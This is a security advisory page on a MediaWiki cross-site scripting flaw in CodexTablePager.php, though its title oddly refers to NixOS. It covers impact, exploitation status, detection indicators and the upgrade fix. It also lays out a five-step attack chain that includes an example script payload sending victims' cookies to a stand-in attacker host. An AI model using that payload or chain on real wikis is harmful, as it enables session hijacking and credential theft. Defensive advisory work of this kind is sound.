CVE-2025-61645: 
NixOS vulnerability analysis and mitigation

CVE-2025-61645 is a Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation's MediaWiki platform, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The flaw resides in the includes/pager/CodexTablePager.php file and affects all MediaWiki versions prior to 1.44.1. It was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability stems from insufficient input sanitization in the CodexTablePager.php pager component of MediaWiki, allowing user-supplied data to be reflected or stored in web pages without proper encoding (CWE-79). An unauthenticated remote attacker can craft a malicious request or link that, when rendered by the pager component, injects arbitrary JavaScript into the victim's browser session. Exploitation requires user interaction — specifically, a victim must visit or be directed to a page that triggers the vulnerable pager output. The Wikimedia Phabricator task T403761 tracks the underlying fix (Wikimedia Phabricator, Red Hat Bugzilla).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session, leading to limited confidentiality and integrity impacts — such as session cookie theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The CVSS v3.1 scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component to the user's browser environment. Availability is not directly affected by this vulnerability (Red Hat Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-61645 as of the available data. The EPSS score is approximately 0.043%, indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Red Hat Advisory).

1. Reconnaissance: Identify MediaWiki instances running versions prior to 1.44.1 using web fingerprinting tools (e.g., Wappalyzer, Shodan) or by checking the MediaWiki version disclosure on wiki pages.
2. Identify vulnerable endpoint: Locate pages that render output via the CodexTablePager component (e.g., special pages or administrative pager views that use this PHP class).
3. Craft malicious payload: Construct a URL or input containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the unsanitized parameter processed by CodexTablePager.php.
4. Deliver to victim: Send the crafted link to a target user via phishing, social engineering, or by embedding it in wiki content that triggers the vulnerable pager rendering.
5. Achieve objective: When the victim loads the page, the injected script executes in their browser, enabling session hijacking, credential theft, or other client-side attacks (Wikimedia Phabricator, Red Hat Bugzilla).

• Network: Unusual outbound HTTP requests from victim browsers to external domains shortly after accessing MediaWiki pager pages; requests containing encoded JavaScript payloads in URL parameters directed at MediaWiki special pages.
• Logs: MediaWiki access logs showing requests to pager-related special pages with anomalous query parameters containing HTML/JavaScript tags or encoded equivalents (e.g., %3Cscript%3E, javascript:).
• File System: No direct file system artifacts expected for a reflected XSS; however, if stored XSS is involved, review MediaWiki database entries for wiki pages or user inputs containing <script> tags or event handler attributes.
• Process/Application: Unexpected JavaScript execution errors or CSP violation reports in browser consoles when accessing MediaWiki pager pages.

The Wikimedia Foundation has addressed this vulnerability in MediaWiki version 1.44.1. All administrators running MediaWiki versions prior to 1.44.1 should upgrade immediately. No specific configuration-based workaround has been publicly documented; upgrading to the patched release is the recommended and primary remediation action (Wikimedia Phabricator, Red Hat Advisory). Additionally, deploying a Content Security Policy (CSP) header can help reduce the impact of XSS vulnerabilities as a defense-in-depth measure.

Red Hat tracked this vulnerability via their security advisory and Bugzilla system, assigning it a high severity rating internally (Red Hat Bugzilla). A blog post by a MediaWiki contributor (bawolff.net) discussed the effectiveness of XSS protections in MediaWiki in the context of this and related issues, reflecting community interest in the platform's security posture (bawolff blog). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability aggregator reporting.